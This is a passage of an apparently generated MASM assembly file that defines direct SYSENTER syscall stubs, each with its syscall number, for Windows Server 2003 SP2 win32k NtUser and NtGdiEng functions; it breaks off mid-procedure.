_5_2_3790_sp2_windows_2003_NtUserToUnicodeEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4655
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserToUnicodeEx ENDP
; ULONG __stdcall NtUserTrackMouseEvent( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserTrackMouseEvent PROC STDCALL arg_01:DWORD
mov eax , 4656
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserTrackMouseEvent ENDP
; ULONG __stdcall NtUserTrackPopupMenuEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserTrackPopupMenuEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4657
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserTrackPopupMenuEx ENDP
; ULONG __stdcall NtUserCalcMenuBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserCalcMenuBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4658
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCalcMenuBar ENDP
; ULONG __stdcall NtUserPaintMenuBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserPaintMenuBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4659
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserPaintMenuBar ENDP
; ULONG __stdcall NtUserTranslateAccelerator( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserTranslateAccelerator PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4660
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserTranslateAccelerator ENDP
; ULONG __stdcall NtUserTranslateMessage( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserTranslateMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4661
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserTranslateMessage ENDP
; ULONG __stdcall NtUserUnhookWindowsHookEx( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserUnhookWindowsHookEx PROC STDCALL arg_01:DWORD
mov eax , 4662
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUnhookWindowsHookEx ENDP
; ULONG __stdcall NtUserUnhookWinEvent( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserUnhookWinEvent PROC STDCALL arg_01:DWORD
mov eax , 4663
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUnhookWinEvent ENDP
; ULONG __stdcall NtUserUnloadKeyboardLayout( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserUnloadKeyboardLayout PROC STDCALL arg_01:DWORD
mov eax , 4664
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUnloadKeyboardLayout ENDP
; ULONG __stdcall NtUserUnlockWindowStation( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserUnlockWindowStation PROC STDCALL arg_01:DWORD
mov eax , 4665
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUnlockWindowStation ENDP
; ULONG __stdcall NtUserUnregisterClass( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserUnregisterClass PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4666
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUnregisterClass ENDP
; ULONG __stdcall NtUserUnregisterUserApiHook( );
_5_2_3790_sp2_windows_2003_NtUserUnregisterUserApiHook PROC STDCALL
mov eax , 4667
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUnregisterUserApiHook ENDP
; ULONG __stdcall NtUserUnregisterHotKey( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserUnregisterHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4668
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUnregisterHotKey ENDP
; ULONG __stdcall NtUserUpdateInputContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserUpdateInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4669
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUpdateInputContext ENDP
; ULONG __stdcall NtUserUpdateInstance( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserUpdateInstance PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4670
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUpdateInstance ENDP
; ULONG __stdcall NtUserUpdateLayeredWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_5_2_3790_sp2_windows_2003_NtUserUpdateLayeredWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 4671
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUpdateLayeredWindow ENDP
; ULONG __stdcall NtUserGetLayeredWindowAttributes( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetLayeredWindowAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4672
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetLayeredWindowAttributes ENDP
; ULONG __stdcall NtUserSetLayeredWindowAttributes( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserSetLayeredWindowAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4673
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserSetLayeredWindowAttributes ENDP
; ULONG __stdcall NtUserUpdatePerUserSystemParameters( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserUpdatePerUserSystemParameters PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4674
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUpdatePerUserSystemParameters ENDP
; ULONG __stdcall NtUserUserHandleGrantAccess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserUserHandleGrantAccess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4675
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserUserHandleGrantAccess ENDP
; ULONG __stdcall NtUserValidateHandleSecure( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserValidateHandleSecure PROC STDCALL arg_01:DWORD
mov eax , 4676
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserValidateHandleSecure ENDP
; ULONG __stdcall NtUserValidateRect( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserValidateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4677
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserValidateRect ENDP
; ULONG __stdcall NtUserValidateTimerCallback( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserValidateTimerCallback PROC STDCALL arg_01:DWORD
mov eax , 4678
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserValidateTimerCallback ENDP
; ULONG __stdcall NtUserVkKeyScanEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserVkKeyScanEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4679
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserVkKeyScanEx ENDP
; ULONG __stdcall NtUserWaitForInputIdle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserWaitForInputIdle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4680
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserWaitForInputIdle ENDP
; ULONG __stdcall NtUserWaitForMsgAndEvent( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserWaitForMsgAndEvent PROC STDCALL arg_01:DWORD
mov eax , 4681
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserWaitForMsgAndEvent ENDP
; ULONG __stdcall NtUserWaitMessage( );
_5_2_3790_sp2_windows_2003_NtUserWaitMessage PROC STDCALL
mov eax , 4682
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserWaitMessage ENDP
; ULONG __stdcall NtUserWin32PoolAllocationStats( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserWin32PoolAllocationStats PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4683
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserWin32PoolAllocationStats ENDP
; ULONG __stdcall NtUserWindowFromPoint( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserWindowFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4684
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserWindowFromPoint ENDP
; ULONG __stdcall NtUserYieldTask( );
_5_2_3790_sp2_windows_2003_NtUserYieldTask PROC STDCALL
mov eax , 4685
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserYieldTask ENDP
; ULONG __stdcall NtUserRemoteConnect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserRemoteConnect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4686
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRemoteConnect ENDP
; ULONG __stdcall NtUserRemoteRedrawRectangle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserRemoteRedrawRectangle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4687
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRemoteRedrawRectangle ENDP
; ULONG __stdcall NtUserRemoteRedrawScreen( );
_5_2_3790_sp2_windows_2003_NtUserRemoteRedrawScreen PROC STDCALL
mov eax , 4688
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRemoteRedrawScreen ENDP
; ULONG __stdcall NtUserRemoteStopScreenUpdates( );
_5_2_3790_sp2_windows_2003_NtUserRemoteStopScreenUpdates PROC STDCALL
mov eax , 4689
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserRemoteStopScreenUpdates ENDP
; ULONG __stdcall NtUserCtxDisplayIOCtl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserCtxDisplayIOCtl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4690
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCtxDisplayIOCtl ENDP
; ULONG __stdcall NtGdiEngAssociateSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiEngAssociateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4691
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngAssociateSurface ENDP
; ULONG __stdcall NtGdiEngCreateBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiEngCreateBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4692
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngCreateBitmap ENDP
; ULONG __stdcall NtGdiEngCreateDeviceSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiEngCreateDeviceSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4693
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngCreateDeviceSurface ENDP
; ULONG __stdcall NtGdiEngCreateDeviceBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiEngCreateDeviceBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4694
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngCreateDeviceBitmap ENDP
; ULONG __stdcall NtGdiEngCreatePalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiEngCreatePalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4695
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngCreatePalette ENDP
; ULONG __stdcall NtGdiEngComputeGlyphSet( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiEngComputeGlyphSet PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4696
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngComputeGlyphSet ENDP
; ULONG __stdcall NtGdiEngCopyBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiEngCopyBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4697
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngCopyBits ENDP
; ULONG __stdcall NtGdiEngDeletePalette( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEngDeletePalette PROC STDCALL arg_01:DWORD
mov eax , 4698
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngDeletePalette ENDP
; ULONG __stdcall NtGdiEngDeleteSurface( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEngDeleteSurface PROC STDCALL arg_01:DWORD
mov eax , 4699
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngDeleteSurface ENDP
; ULONG __stdcall NtGdiEngEraseSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiEngEraseSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4700
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngEraseSurface ENDP
; ULONG __stdcall NtGdiEngUnlockSurface( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEngUnlockSurface PROC STDCALL arg_01:DWORD
mov eax , 4701
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngUnlockSurface ENDP
; ULONG __stdcall NtGdiEngLockSurface( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEngLockSurface PROC STDCALL arg_01:DWORD
mov eax , 4702
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngLockSurface ENDP
; ULONG __stdcall NtGdiEngBitBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiEngBitBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4703
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngBitBlt ENDP
; ULONG __stdcall NtGdiEngStretchBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiEngStretchBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4704
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngStretchBlt ENDP
; ULONG __stdcall NtGdiEngPlgBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiEngPlgBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4705
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngPlgBlt ENDP
; ULONG __stdcall NtGdiEngMarkBandingSurface( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEngMarkBandingSurface PROC STDCALL arg_01:DWORD
mov eax , 4706
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngMarkBandingSurface ENDP
; ULONG __stdcall NtGdiEngStrokePath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiEngStrokePath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4707
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngStrokePath ENDP
; ULONG __stdcall NtGdiEngFillPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiEngFillPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4708
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngFillPath ENDP
; ULONG __stdcall NtGdiEngStrokeAndFillPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_5_2_3790_sp2_windows_2003_NtGdiEngStrokeAndFillPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 4709
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngStrokeAndFillPath ENDP
; ULONG __stdcall NtGdiEngPaint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiEngPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4710
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngPaint ENDP
; ULONG __stdcall NtGdiEngLineTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_5_2_3790_sp2_windows_2003_NtGdiEngLineTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 4711
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngLineTo ENDP
; ULONG __stdcall NtGdiEngAlphaBlend( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiEngAlphaBlend PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4712
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngAlphaBlend ENDP
; ULONG __stdcall NtGdiEngGradientFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_5_2_3790_sp2_windows_2003_NtGdiEngGradientFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 4713
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngGradientFill ENDP
; ULONG __stdcall NtGdiEngTransparentBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiEngTransparentBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4714
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngTransparentBlt ENDP
; ULONG __stdcall NtGdiEngTextOut( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_5_2_3790_sp2_windows_2003_NtGdiEngTextOut PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 4715
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngTextOut ENDP
; ULONG __stdcall NtGdiEngStretchBltROP( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 );
_5_2_3790_sp2_windows_2003_NtGdiEngStretchBltROP PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD
mov eax , 4716
call _label_sysenter
ret 52
_label_sysenter:
